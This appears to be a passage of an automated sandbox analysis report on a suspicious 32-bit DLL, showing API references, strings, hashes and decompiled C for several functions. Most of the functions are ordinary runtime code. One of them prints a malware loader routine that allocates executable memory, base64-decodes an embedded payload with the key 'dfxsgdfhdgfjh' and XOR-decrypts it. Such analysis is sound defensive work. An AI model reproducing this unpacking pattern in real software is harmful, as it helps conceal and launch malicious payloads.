0x6da86236
0x6da86239
0x6da8623e
0x6da86241
0x6da86245
0x6da86248
0x6da86249
0x6da862a0
0x6da862a1
0x6da862a2
0x6da862ae
0x6da862b9
0x6da862be
0x6da862c6
0x6da8624b
0x6da8624b
0x6da8624d
0x6da8624e
0x6da8624f
0x6da8625d
0x6da8626b
0x6da8626c
0x6da8626f
0x6da86275
0x6da86289
0x6da86289
0x6da8628b
0x6da86293
0x6da8629d
0x6da86277
0x6da86277
0x6da8627a
0x6da8627f
0x6da86282
0x6da86285
0x00000000
0x6da86287
0x6da86287
0x00000000
0x6da86287
0x6da86285
0x6da86275
0x6da86249
0x6da861cc
0x6da861b8
0x6da86052
0x6da86052
0x6da86055
0x6da86058
0x6da860a0
0x6da860a6
0x6da860b0
0x6da860b6
0x6da860b9
0x6da860bf
0x6da860c4
0x6da860c7
0x6da860cb
0x6da860ce
0x6da860cf
0x6da86131
0x6da86132
0x6da86133
0x6da8613f
0x6da8614a
0x6da86150
0x6da86158
0x6da86162
0x6da860d1
0x6da860d1
0x6da860d3
0x6da860d4
0x6da860d5
0x6da860e3
0x6da860f4
0x6da860fc
0x6da860ff
0x6da86100
0x6da86106
0x6da8611a
0x6da8611a
0x6da8611c
0x6da86124
0x6da8612e
0x6da86108
0x6da86108
0x6da8610b
0x6da8610e
0x6da86110
0x6da86113
0x6da86116
0x00000000
0x6da86118
0x6da86118
0x00000000
0x6da86118
0x6da86116
0x6da86106
0x6da860cf
0x6da8604c
0x6da86038
0x6da85ef2
0x6da85ef2
0x6da85ef5
0x6da85ef8
0x6da85efb
0x6da85f46
0x6da85f49
0x6da85f4f
0x6da85f52
0x6da85f57
0x6da85f5a
0x6da85f5e
0x6da85f61
0x6da85f62
0x6da85fb9
0x6da85fba
0x6da85fbb
0x6da85fc7
0x6da85fd2
0x6da85fd7
0x6da85fdf
0x6da85f64
0x6da85f64
0x6da85f66
0x6da85f67
0x6da85f68
0x6da85f76
0x6da85f7e
0x6da85f84
0x6da85f85
0x6da85f88
0x6da85f8e
0x6da85fa2
0x6da85fa2
0x6da85fa4
0x6da85fac
0x6da85fb6
0x6da85f90
0x6da85f90
0x6da85f93
0x6da85f96
0x6da85f98
0x6da85f9b
0x6da85f9e
0x00000000
0x6da85fa0
0x6da85fa0
0x00000000
0x6da85fa0
0x6da85f9e
0x6da85f8e
0x6da85f62
0x6da85eec
0x6da85ed8
0x6da85e50
0x6da85e50
0x6da85e53
0x6da85e57
0x6da85e5b
0x6da85e67
0x6da85e6a
0x00000000
0x6da85e6a
0x6da85e38
0x6da85e38
0x00000000
0x6da85e38
0x6da85e2a
0x6da85e2d
0x00000000
0x6da85e2d
0x6da85e28
0x6da85e1e
0x6da85e14
0x6da85d34
0x6da85d39
0x6da85d41
0x6da85d4b
0x6da85d51
0x6da85d56
0x6da85d5a
0x6da85d5e
0x6da85d6a
0x6da85d6d
0x00000000
0x6da85d6d
0x6da85cbe
0x6da85cbe
0x00000000
0x6da85cbe
0x6da85cb0
0x6da85cb3
0x00000000
0x6da85cb3
0x6da85cae
0x6da85c83
0x6da85c83
0x6da85c86
0x6da85c93
0x6da85c9d
0x6da85c9d
0x6da85c81

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 6DA85C23
std::_Lockit::_Lockit.LIBCPMT ref: 6DA85C43
std::_Lockit::~_Lockit.LIBCPMT ref: 6DA85C63
std::_Lockit::~_Lockit.LIBCPMT ref: 6DA85C86
std::_Lockit::_Lockit.LIBCPMT ref: 6DA85CF1
std::_Locinfo::_Locinfo_ctor.LIBCPMT ref: 6DA85D39
std::_Facet_Register.LIBCPMT ref: 6DA85D5E

Strings

bad locale name, xrefs: 6DA85D78

Memory Dump Source

Source File: 00000000.00000002.321126809.000000006DA81000.00000020.00000001.01000000.00000003.sdmp, Offset: 6DA80000, based on PE: true

Associated: 00000000.00000002.321118914.000000006DA80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.321283455.000000006DAA4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.321302763.000000006DAB3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.321320388.000000006DAB4000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.321422081.000000006DAD4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.321433207.000000006DAD6000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6da80000_loaddll32.jbxd

Similarity

API ID: std::_$Lockit$Lockit::_$Lockit::~_$Facet_Locinfo::_Locinfo_ctorRegister
String ID: bad locale name
API String ID: 1197013505-1405518554
Opcode ID: b425e46fa188b9f1fa15b2e1b18f0459bf986a69f6181527e3ac4d04fb08e7b1
Instruction ID: 0a09d4d44301b6a7734d5f62fd2412c6530b18a0cecd6c55e2d771adc36eee1c
Opcode Fuzzy Hash: b425e46fa188b9f1fa15b2e1b18f0459bf986a69f6181527e3ac4d04fb08e7b1
Instruction Fuzzy Hash: 7441B0B590C2449FCB11CFA8DA84BAEBBB4FF45714F19805DDC49AB342DB30A985CB91

Uniqueness

Uniqueness Score: -1.00%

Function 6DA891AF Relevance: 12.2, APIs: 8, Instructions: 175COMMON

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32(00000000,00000000,00000001,?,00000000,00000000,?,?,?,00000001), ref: 6DA891F8
__alloca_probe_16.LIBCMT ref: 6DA89224
MultiByteToWideChar.KERNEL32(00000001,00000001,00000000,?,00000000,00000000), ref: 6DA89263
LCMapStringEx.KERNEL32(?,?,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 6DA89280
LCMapStringEx.KERNEL32(?,?,00000000,00000000,00000000,?,00000000,00000000,00000000), ref: 6DA892BF
__alloca_probe_16.LIBCMT ref: 6DA892DC
LCMapStringEx.KERNEL32(?,?,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 6DA8931E
WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,00000000,?,?,00000000,00000000), ref: 6DA89341

Memory Dump Source

Source File: 00000000.00000002.321126809.000000006DA81000.00000020.00000001.01000000.00000003.sdmp, Offset: 6DA80000, based on PE: true

Associated: 00000000.00000002.321118914.000000006DA80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.321283455.000000006DAA4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.321302763.000000006DAB3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.321320388.000000006DAB4000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.321422081.000000006DAD4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.321433207.000000006DAD6000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6da80000_loaddll32.jbxd

Similarity

API ID: ByteCharMultiStringWide$__alloca_probe_16
String ID:
API String ID: 2040435927-0
Opcode ID: 57a911794fc0f8ffcb1106b0d183901654578ef6bcf9d983d65d9be1fa886461
Instruction ID: 4c204d8688979188a206cc6f70db2bb06dfa5c700b935b47343f3ec823e313b9
Opcode Fuzzy Hash: 57a911794fc0f8ffcb1106b0d183901654578ef6bcf9d983d65d9be1fa886461
Instruction Fuzzy Hash: 1451F272508216AFEF108FA0CE44FAF7BB9EF49740F194528FD2496191EB78D880CB50

Uniqueness

Uniqueness Score: -1.00%

Function 6DA81B10 Relevance: 10.8, APIs: 4, Strings: 2, Instructions: 257
memoryCOMMON

Download Yara Rule

C-Code - Quality: 79%

			E6DA81B10() {
				intOrPtr _v0;
				intOrPtr _v4;
				intOrPtr _v8;
				void* _v16;
				intOrPtr _v24;
				intOrPtr _v29;
				unsigned int _v30;
				signed char _v32;
				signed char _v33;
				signed int _v38;
				signed int _v39;
				signed int _v40;
				signed int _v44;
				void* _v48;
				void* _v52;
				void* _v56;
				signed int* _v60;
				signed int _v64;
				intOrPtr _v68;
				intOrPtr _v72;
				void* _v76;
				void* _v92;
				char _v100;
				char _v164;
				void* __ebx;
				void* __edi;
				char _t99;
				intOrPtr _t100;
				intOrPtr _t103;
				signed char _t107;
				signed char _t108;
				void* _t116;
				void* _t119;
				intOrPtr _t131;
				intOrPtr _t136;
				void* _t146;
				signed int* _t151;
				void* _t153;
				signed char _t157;
				void* _t159;
				void* _t174;
				signed int _t176;
				void* _t181;
				intOrPtr _t200;
				unsigned char _t206;
				void* _t208;
				void* _t210;
				void* _t212;
				signed int _t213;
				void* _t216;
				void* _t218;
				intOrPtr* _t219;
				signed int _t220;
				void* _t222;
				intOrPtr _t225;
				void* _t229;
				intOrPtr _t232;
				void* _t233;

				_t159 = _t229;
				_t232 = (_t229 - 0x00000008 & 0xfffffff8) + 4;
				_v8 =  *((intOrPtr*)(_t159 + 4));
				_t225 = _t232;
				_push(0xffffffff);
				_push(E6DAA2345);
				_push( *[fs:0x0]);
				 *[fs:0x0] = _t232;
				_push(_t159);
				_t233 = _t232 - 0x88;
				asm("movups xmm0, [0x6daaf258]");
				_t99 =  *0x6daaf298; // 0x0
				asm("movups [ebp-0x98], xmm0");
				asm("movups xmm0, [0x6daaf268]");
				_v100 = _t99;
				_t100 =  *0x6dad4884; // 0x20e6c
				asm("movups [ebp-0x88], xmm0");
				asm("movups xmm0, [0x6daaf278]");
				asm("movups [ebp-0x78], xmm0");
				asm("movups xmm0, [0x6daaf288]");
				asm("movups [ebp-0x68], xmm0");
				_t195 = VirtualAlloc(0, _t100 + _t100, 0x3000, 0x40);
				_t210 = 0;
				_t103 =  *0x6dad4884; // 0x20e6c
				_t216 = 0;
				_v64 = _t195;
				_v44 = 0;
				if(_t103 == 0) {
					L27:
					 *0x6dad4884 = _t210;
					 *[fs:0x0] = _v24;
					return _v64;
				} else {
					_t6 = _t195 + 2; // 0x2
					_t164 = _t6;
					_v60 = _t6;
					while(1) {
						_v68 = _t103 - 1;
						_t107 =  *( *(_t159 + 8));
						_v33 = _t107;
						if(_t107 == 0x3d) {
							break;
						}
						_t119 = E6DA8DB50(_t159, _t164, _t195, _t107 & 0x000000ff);
						_t233 = _t233 + 4;
						if(_t119 != 0) {
							L6:
							_v56 = 0;
							_v52 = 0;
							_v48 = 0;
							_v16 = 0;
							_push(0xd);
							_v92 = 0;
							_v76 = 0;
							_v72 = 0xf;
							_v92 = 0;
							E6DA81770( &_v92, "dfxsgdfhdgfjh");
							_v16 = 1;
							_t174 =  &_v56;
							E6DA82160(_t159, _t174, _t210, 0,  &_v92);
							_v16 = 0;
							_t200 = _v72;
							if(_t200 < 0x10) {
								L10:
								_t210 = _v56;
								_t195 = _v52;
								_push(_t174);
								E6DA82340(_t210, _v52, _t210);
								_t176 =  *(_t159 + 8);
								_t233 = _t233 + 4;
								_v52 = _t210;
								_t164 = _t176 + 1;
								 *((char*)(_t225 + _t216 - 0x14)) =  *_t176;
								_t216 = _t216 + 1;
								 *(_t159 + 8) = _t164;
								if(_t216 == 4) {
									_t222 = 0;
									do {
										_t146 = E6DA8A950( &_v164,  *((char*)(_t225 + _t222 - 0x14)));
										_t233 = _t233 + 8;
										 *((char*)(_t225 + _t222 - 0x14)) = _t146 -  &_v164;
										_t222 = _t222 + 1;
									} while (_t222 < 4);
									_t206 = _v30;
									_v44 = _v44 + 3;
									_t195 = (_t206 << 6) + _v29;
									_t164 = (_t206 >> 0x00000002 & 0x0000000f) + (_v32 << 4);
									_t151 = _v60;
									_v40 = _t164;
									_v39 = _t164;
									_v38 = _t195;
									 *(_t151 - 2) = _t164;
									 *(_t151 - 1) = _t164;
									 *_t151 = _t195;
									_v60 =  &(_t151[0]);
									_t216 = 0;
								}
								_v16 = 0xffffffff;
								if(_t210 == 0) {
									L18:
									_t103 = _v68;
									if(_t103 != 0) {
										continue;
									} else {
										break;
									}
								} else {
									_push(_t164);
									E6DA82340(_t210, _t210, _t210);
									_t233 = _t233 + 4;
									_t195 = 0x2aaaaaab * (_v48 - _t210) >> 0x20 >> 2;
									_t131 = _t210;
									_t164 = (0x2aaaaaab * (_v48 - _t210) >> 0x20 >> 2 >> 0x1f) + (0x2aaaaaab * (_v48 - _t210) >> 0x20 >> 2) + ((0x2aaaaaab * (_v48 - _t210) >> 0x20 >> 2 >> 0x1f) + (0x2aaaaaab * (_v48 - _t210) >> 0x20 >> 2)) * 2 << 3;
									if(_t164 < 0x1000) {
										L17:
										_push(_t164);
										E6DA893C9(_t210);
										_t233 = _t233 + 8;
										_v56 = 0;
										_v52 = 0;
										_v48 = 0;
										goto L18;
									} else {
										_t210 =  *((intOrPtr*)(_t210 - 4));
										_t164 = _t164 + 0x23;
										if(_t131 - _t210 + 0xfffffffc > 0x1f) {
											goto L28;
										} else {
											goto L17;
										}
									}
								}
							} else {
								_t174 = _v92;
								_t208 = _t200 + 1;
								_t153 = _t174;
								if(_t208 < 0x1000) {
									L9:
									_push(_t208);
									E6DA893C9(_t174);
									_t233 = _t233 + 8;
									goto L10;
								} else {
									_t164 =  *(_t174 - 4);
									_t195 = _t208 + 0x23;
									if(_t153 -  *(_t174 - 4) + 0xfffffffc > 0x1f) {
										L28:
										E6DA8DACF(_t159, _t164, _t195);
										asm("int3");
										asm("int3");
										_push(_t225);
										_push(_t216);
										_t219 = _v164;
										_push(_t210);
										_t181 = _t219 + 1;
										do {
											_t136 =  *_t219;
											_t219 = _t219 + 1;
										} while (_t136 != 0);
										_t213 = 0;
										_t220 = _t219 - _t181;
										if(_v4 > 0) {
											_push(_t159);
											do {
												if(_t213 == (0x10624dd3 * _t213 >> 0x20 >> 6) * 0x3e8) {
													Sleep(2);
												}
												asm("cdq");
												 *(_t213 + 0x6dab3a18) =  *(_t213 + 0x6dab3a18) ^  *(_t213 % _t220 + _v0);
												_t213 = _t213 + 1;
											} while (_t213 < _v4);
										}
										return 0x6dab3a18;
									} else {
										goto L9;
									}
								}
							}
						} else {
							_t157 = _v33;
							if(_t157 == 0x2b || _t157 == 0x2f) {
								goto L6;
							} else {
								DebugBreak();
								break;
							}
						}
						goto L38;
					}
					if(_t216 == 0) {
						_t210 = _v44;
					} else {
						_t212 = 0;
						if(_t216 > 0) {
							do {
								_t116 = E6DA8A950( &_v164,  *((char*)(_t225 + _t212 - 0x14)));
								_t233 = _t233 + 8;
								 *((char*)(_t225 + _t212 - 0x14)) = _t116 -  &_v164;
								_t212 = _t212 + 1;
							} while (_t212 < _t216);
						}
						_t108 = _v32;
						_t218 = _t216 - 1;
						_t210 = _v44;
						_v40 = (_t108 >> 0x00000004 & 0x00000003) + (_t108 << 2);
						_v39 = (_v30 >> 0x00000002 & 0x0000000f) + (_t108 << 4);
						if(_t218 > 0) {
							E6DA8AB10(_v64 + _t210,  &_v40, _t218);
							_t210 = _t210 + _t218;
						}
					}
					goto L27;
				}
				L38:
			}

0x6da81b11
0x6da81b19
0x6da81b20
0x6da81b24
0x6da81b26
0x6da81b28
0x6da81b33
0x6da81b34
0x6da81b3b
0x6da81b3c
0x6da81b42
0x6da81b49
0x6da81b4f
0x6da81b57
0x6da81b5e
0x6da81b61
0x6da81b66
0x6da81b6f
0x6da81b7d
0x6da81b82
0x6da81b8b
0x6da81b95
0x6da81b97
0x6da81b99
0x6da81b9e
0x6da81ba0
0x6da81ba3
0x6da81ba8
0x6da81e1b
0x6da81e21
0x6da81e28
0x6da81e36
0x6da81bae
0x6da81bae
0x6da81bae
0x6da81bb1
0x6da81bb4
0x6da81bb5
0x6da81bbb
0x6da81bbd
0x6da81bc2
0x00000000
0x00000000
0x6da81bcc
0x6da81bd1
0x6da81bd6
0x6da81be7
0x6da81be7
0x6da81bee
0x6da81bf5
0x6da81bfc
0x6da81c06
0x6da81c08
0x6da81c14
0x6da81c1b
0x6da81c22
0x6da81c26
0x6da81c2e
0x6da81c35
0x6da81c38
0x6da81c3d
0x6da81c41
0x6da81c47
0x6da81c75
0x6da81c75
0x6da81c78
0x6da81c7b
0x6da81c7e
0x6da81c83
0x6da81c86
0x6da81c89
0x6da81c8e
0x6da81c8f
0x6da81c93
0x6da81c94
0x6da81c9a
0x6da81c9c
0x6da81ca0
0x6da81cad
0x6da81cb8
0x6da81cbd
0x6da81cc1
0x6da81cc2
0x6da81ccc
0x6da81cd1
0x6da81cf0
0x6da81cf3
0x6da81cf5
0x6da81cf8
0x6da81cfb
0x6da81cfe
0x6da81d01
0x6da81d04
0x6da81d07
0x6da81d0c
0x6da81d0f
0x6da81d0f
0x6da81d11
0x6da81d1a
0x6da81d82
0x6da81d82
0x6da81d87
0x00000000
0x00000000
0x00000000
0x00000000
0x6da81d1c
0x6da81d1c
0x6da81d21
0x6da81d30
0x6da81d35
0x6da81d42
0x6da81d44
0x6da81d4d
0x6da81d63
0x6da81d63
0x6da81d65
0x6da81d6a
0x6da81d6d
0x6da81d74
0x6da81d7b
0x00000000
0x6da81d4f
0x6da81d4f
0x6da81d52
0x6da81d5d
0x00000000
0x00000000
0x00000000
0x00000000
0x6da81d5d
0x6da81d4d
0x6da81c49
0x6da81c49
0x6da81c4c
0x6da81c4d
0x6da81c55
0x6da81c6b
0x6da81c6b
0x6da81c6d
0x6da81c72
0x00000000
0x6da81c57
0x6da81c57
0x6da81c5a
0x6da81c65
0x6da81e39
0x6da81e39
0x6da81e3e
0x6da81e3f
0x6da81e40
0x6da81e43
0x6da81e44
0x6da81e47
0x6da81e48
0x6da81e50
0x6da81e50
0x6da81e52
0x6da81e53
0x6da81e57
0x6da81e59
0x6da81e5e
0x6da81e60
0x6da81e67
0x6da81e7b
0x6da81e7f
0x6da81e7f
0x6da81e86
0x6da81e8c
0x6da81e92
0x6da81e93
0x6da81e98
0x6da81ea1
0x00000000
0x00000000
0x00000000
0x6da81c65
0x6da81c55
0x6da81bd8
0x6da81bd8
0x6da81bdd
0x00000000
0x6da81e0d
0x6da81e0d
0x00000000
0x6da81e0d
0x6da81bdd
0x00000000
0x6da81bd6
0x6da81d8f
0x6da81e18
0x6da81d95
0x6da81d95
0x6da81d99
0x6da81da0
0x6da81dad
0x6da81db8
0x6da81dbd
0x6da81dc1
0x6da81dc2
0x6da81da0
0x6da81dc6
0x6da81dc9
0x6da81dca
0x6da81dec
0x6da81def
0x6da81df4
0x6da81e01
0x6da81e09
0x6da81e09
0x6da81df4
0x00000000
0x6da81d8f
0x00000000

APIs

VirtualAlloc.KERNEL32(00000000,00020E6C,00003000,00000040,00000000), ref: 6DA81B8F
___from_strstr_to_strchr.LIBCMT ref: 6DA81CAD
___from_strstr_to_strchr.LIBCMT ref: 6DA81DAD
DebugBreak.KERNEL32 ref: 6DA81E0D

Strings

ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/, xrefs: 6DA81B42
dfxsgdfhdgfjh, xrefs: 6DA81C0F

Memory Dump Source

Source File: 00000000.00000002.321126809.000000006DA81000.00000020.00000001.01000000.00000003.sdmp, Offset: 6DA80000, based on PE: true

Associated: 00000000.00000002.321118914.000000006DA80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.321283455.000000006DAA4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.321302763.000000006DAB3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.321320388.000000006DAB4000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.321422081.000000006DAD4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.321433207.000000006DAD6000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6da80000_loaddll32.jbxd

Similarity

API ID: ___from_strstr_to_strchr$AllocBreakDebugVirtual
String ID: ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/$dfxsgdfhdgfjh
API String ID: 948567615-1324637814
Opcode ID: 85b44af411087bf5daa2d2c4e2f7d210ced8035e0b8107566c978d954f312e84
Instruction ID: 327c84dccb64e9ed4e0d982ace9540ff128371d8e263acee27fbc1542068738a
Opcode Fuzzy Hash: 85b44af411087bf5daa2d2c4e2f7d210ced8035e0b8107566c978d954f312e84
Instruction Fuzzy Hash: A7A14B72D0C2488BDB05CFA8C9907FEBBB4AF5A304F194258DD5467383D7745589CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 6DA96512 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 74
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 100%

			E6DA96512(void* __ecx, signed int* _a4, intOrPtr _a8) {
				signed int _v8;
				void* _t20;
				void* _t22;
				WCHAR* _t26;
				signed int _t29;
				void** _t30;
				signed int* _t35;
				void* _t38;
				void* _t40;

				_t35 = _a4;
				while(_t35 != _a8) {
					_t29 =  *_t35;
					_v8 = _t29;
					_t38 =  *(0x6dad5a60 + _t29 * 4);
					if(_t38 == 0) {
						_t26 =  *(0x6daa7930 + _t29 * 4);
						_t38 = LoadLibraryExW(_t26, 0, 0x800);
						if(_t38 != 0) {
							L14:
							_t30 = 0x6dad5a60 + _v8 * 4;
							 *_t30 = _t38;
							if( *_t30 != 0) {
								FreeLibrary(_t38);
							}
							L16:
							_t20 = _t38;
							L13:
							return _t20;
						}
						_t22 = GetLastError();
						if(_t22 != 0x57) {
							L9:
							 *(0x6dad5a60 + _v8 * 4) = _t22 | 0xffffffff;
							L10:
							_t35 =  &(_t35[1]);
							continue;
						}
						_t22 = E6DA92838(_t26, L"api-ms-", 7);
						_t40 = _t40 + 0xc;
						if(_t22 == 0) {
							goto L9;
						}
						_t22 = E6DA92838(_t26, L"ext-ms-", 7);
						_t40 = _t40 + 0xc;
						if(_t22 == 0) {
							goto L9;
						}
						_t22 = LoadLibraryExW(_t26, _t38, _t38);
						_t38 = _t22;
						if(_t38 != 0) {
							goto L14;
						}
						goto L9;
					}
					if(_t38 != 0xffffffff) {
						goto L16;
					}
					goto L10;
				}
				_t20 = 0;
				goto L13;
			}

0x6da9651b
0x6da965b0
0x6da96523
0x6da96525
0x6da9652f
0x6da96534
0x6da96541
0x6da96556
0x6da9655a
0x6da965c0
0x6da965c5
0x6da965cc
0x6da965d0
0x6da965d3
0x6da965d3
0x6da965d9
0x6da965d9
0x6da965bb
0x6da965bf
0x6da965bf
0x6da9655c
0x6da96565
0x6da9659e
0x6da965ab
0x6da965ad
0x6da965ad
0x00000000
0x6da965ad
0x6da9656f
0x6da96574
0x6da96579
0x00000000
0x00000000
0x6da96583
0x6da96588
0x6da9658d
0x00000000
0x00000000
0x6da96592
0x6da96598
0x6da9659c
0x00000000
0x00000000
0x00000000
0x6da9659c
0x6da96539
0x00000000
0x00000000
0x00000000
0x6da9653f
0x6da965b9
0x00000000

APIs

FreeLibrary.KERNEL32(00000000,?,6DA9661F,6DA824BD,?,?,00000000,?,?,6DA967EC,00000021,FlsSetValue,6DAA7F50,6DAA7F58,?), ref: 6DA965D3

Strings

api-ms-, xrefs: 6DA96569
ext-ms-, xrefs: 6DA9657D

Memory Dump Source

Source File: 00000000.00000002.321126809.000000006DA81000.00000020.00000001.01000000.00000003.sdmp, Offset: 6DA80000, based on PE: true

Associated: 00000000.00000002.321118914.000000006DA80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.321283455.000000006DAA4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.321302763.000000006DAB3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.321320388.000000006DAB4000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.321422081.000000006DAD4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.321433207.000000006DAD6000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6da80000_loaddll32.jbxd

Similarity

API ID: FreeLibrary
String ID: api-ms-$ext-ms-
API String ID: 3664257935-537541572
Opcode ID: e761a4706c07cb0e9c012162dadb34cc00d3cfd4ec605bdac0352c3cd927baec
Instruction ID: 2146d1dec2a62f2198034fb9e7a42417b303566242833e41a36f254e7a7811e0
Opcode Fuzzy Hash: e761a4706c07cb0e9c012162dadb34cc00d3cfd4ec605bdac0352c3cd927baec
Instruction Fuzzy Hash: E1210875A2C726ABCB119A24CC44B6A37F9EF47370F1D4210E919AB384DB70EA81C6D0

Uniqueness

Uniqueness Score: -1.00%

Function 6DA85D90 Relevance: 9.1, APIs: 6, Instructions: 100
COMMON

Download Yara Rule

C-Code - Quality: 50%

			E6DA85D90(void* __ebx, void* __edx, void* __edi, void* __esi, signed int _a4, intOrPtr _a8, intOrPtr _a12) {
				signed int _v0;
				signed int _v4;
				unsigned int _v8;
				signed int _v12;
				signed int _v16;
				signed int _v20;
				signed int _v24;
				char _v28;
				signed int _v32;
				signed int _v44;
				signed int _v48;
				signed int _v60;
				intOrPtr _v68;
				signed int _v80;
				void* _t132;
				void* _t148;
				signed int _t151;
				unsigned int _t153;
				void* _t154;
				signed int _t169;
				signed int* _t171;
				signed int _t172;
				unsigned int _t174;
				void* _t175;
				signed int _t178;
				signed int _t193;
				signed int* _t195;
				signed int _t196;
				unsigned int _t198;
				void* _t199;
				signed int _t213;
				signed int* _t215;
				void* _t218;
				signed int _t223;
				signed int _t224;
				signed int _t226;
				signed int* _t228;
				signed int* _t229;
				signed int* _t230;
				signed int* _t239;
				signed int* _t245;
				void* _t247;
				void* _t254;
				void* _t256;
				signed int _t261;
				signed int _t262;
				signed int _t263;
				signed int _t266;
				unsigned int _t268;
				signed int _t269;
				signed int _t280;
				signed int _t282;
				signed int _t283;
				intOrPtr _t284;
				signed int _t286;
				unsigned int _t287;
				signed int _t288;
				signed int _t290;
				signed int _t294;
				signed int _t295;
				signed int _t297;
				signed int _t300;
				signed int _t301;
				signed int _t303;
				intOrPtr _t306;
				void* _t308;
				void* _t309;
				intOrPtr _t317;
				void* _t318;
				void* _t320;
				void* _t321;
				void* _t322;
				void* _t323;
				void* _t339;

				_t306 = _t317;
				_push(0xffffffff);
				_push(E6DAA2685);
				_push( *[fs:0x0]);
				 *[fs:0x0] = _t317;
				_t318 = _t317 - 0xc;
				_push(__ebx);
				_push(__esi);
				_push(__edi);
				E6DA888D6( &_v28, 0);
				_v8 = 0;
				_t266 =  *0x6dad5cb8; // 0x0
				_t226 =  *0x6dad5c78; // 0x0
				_v20 = _t226;
				if(_t266 == 0) {
					E6DA888D6( &_v24, _t266);
					_t339 =  *0x6dad5cb8 - _t266; // 0x0
					if(_t339 == 0) {
						_t223 =  *0x6dad5048; // 0x0
						_t224 = _t223 + 1;
						 *0x6dad5048 = _t224;
						 *0x6dad5cb8 = _t224;
					}
					E6DA8892E( &_v24);
					_t266 =  *0x6dad5cb8; // 0x0
				}
				_t239 =  *(_a4 + 4);
				if(_t266 >= _t239[3]) {
					_t280 = 0;
					__eflags = 0;
					goto L8;
				} else {
					_t280 =  *(_t239[2] + _t266 * 4);
					if(_t280 != 0) {
						L16:
						E6DA8892E( &_v28);
						 *[fs:0x0] = _v16;
						return _t280;
					} else {
						L8:
						if(_t239[5] == 0) {
							L11:
							if(_t280 != 0) {
								goto L16;
							} else {
								goto L12;
							}
						} else {
							_t218 = E6DA88AB3();
							if(_t266 >=  *((intOrPtr*)(_t218 + 0xc))) {
								L12:
								if(_t226 == 0) {
									_t132 = E6DA862F0(_t226, _t266,  &_v20, _a4);
									_t320 = _t318 + 8;
									__eflags = _t132 - 0xffffffff;
									if(__eflags == 0) {
										E6DA82950();
										asm("int3");
										asm("int3");
										asm("int3");
										asm("int3");
										asm("int3");
										asm("int3");
										asm("int3");
										asm("int3");
										asm("int3");
										asm("int3");
										asm("int3");
										asm("int3");
										asm("int3");
										asm("int3");
										asm("int3");
										asm("int3");
										_push(_t306);
										_t308 = _t320;
										_t321 = _t320 - 8;
										_push(_t226);
										_t228 = _t239;
										_t242 = 0x7fffffff;
										_push(_t280);
										_t282 = _v32;
										_t261 = _t228[4];
										_v44 = _t261;
										_push(_t266);
										__eflags = 0x7fffffff - _t261 - _t282;
										if(__eflags < 0) {
											E6DA814C0(_t228, 0x7fffffff, _t261, __eflags);
											goto L39;
										} else {
											_t266 = _t228[5];
											_t196 = _t261 + _t282;
											_v16 = _t196;
											_t300 = _t196 | 0x0000000f;
											_v0 = _t266;
											__eflags = _t300 - 0x7fffffff;
											if(__eflags <= 0) {
												_t198 = _t266 >> 1;
												_t242 = 0x7fffffff - _t198;
												__eflags = _t266 - _t242;
												if(__eflags <= 0) {
													_t199 = _t198 + _t266;
													__eflags = _t300 - _t199;
													_t282 =  <  ? _t199 : _t300;
													_t35 = _t282 + 1; // 0x80000000
													_t242 = _t35;
													__eflags = _t242 - 0x1000;
													if(_t242 < 0x1000) {
														__eflags = _t242;
														if(__eflags == 0) {
															_t266 = 0;
															__eflags = 0;
														} else {
															_t213 = E6DA89399(_t266, _t282, __eflags, _t242);
															_t261 = _v12;
															_t321 = _t321 + 4;
															_t266 = _t213;
														}
														goto L32;
													} else {
														_t36 =  &(_t242[8]); // 0x80000023
														_t214 = _t36;
														__eflags = _t36 - _t242;
														if(__eflags <= 0) {
															L39:
															E6DA81420();
															goto L40;
														} else {
															goto L22;
														}
													}
												} else {
													_t282 = 0x7fffffff;
													goto L21;
												}
											} else {
												_t282 = 0x7fffffff;
												L21:
												_t214 = 0x80000023;
												L22:
												_t215 = E6DA89399(_t266, _t282, __eflags, _t214);
												_t321 = _t321 + 4;
												__eflags = _t215;
												if(_t215 == 0) {
													L40:
													E6DA8DACF(_t228, _t242, _t261);
													asm("int3");
													asm("int3");
													asm("int3");
													asm("int3");
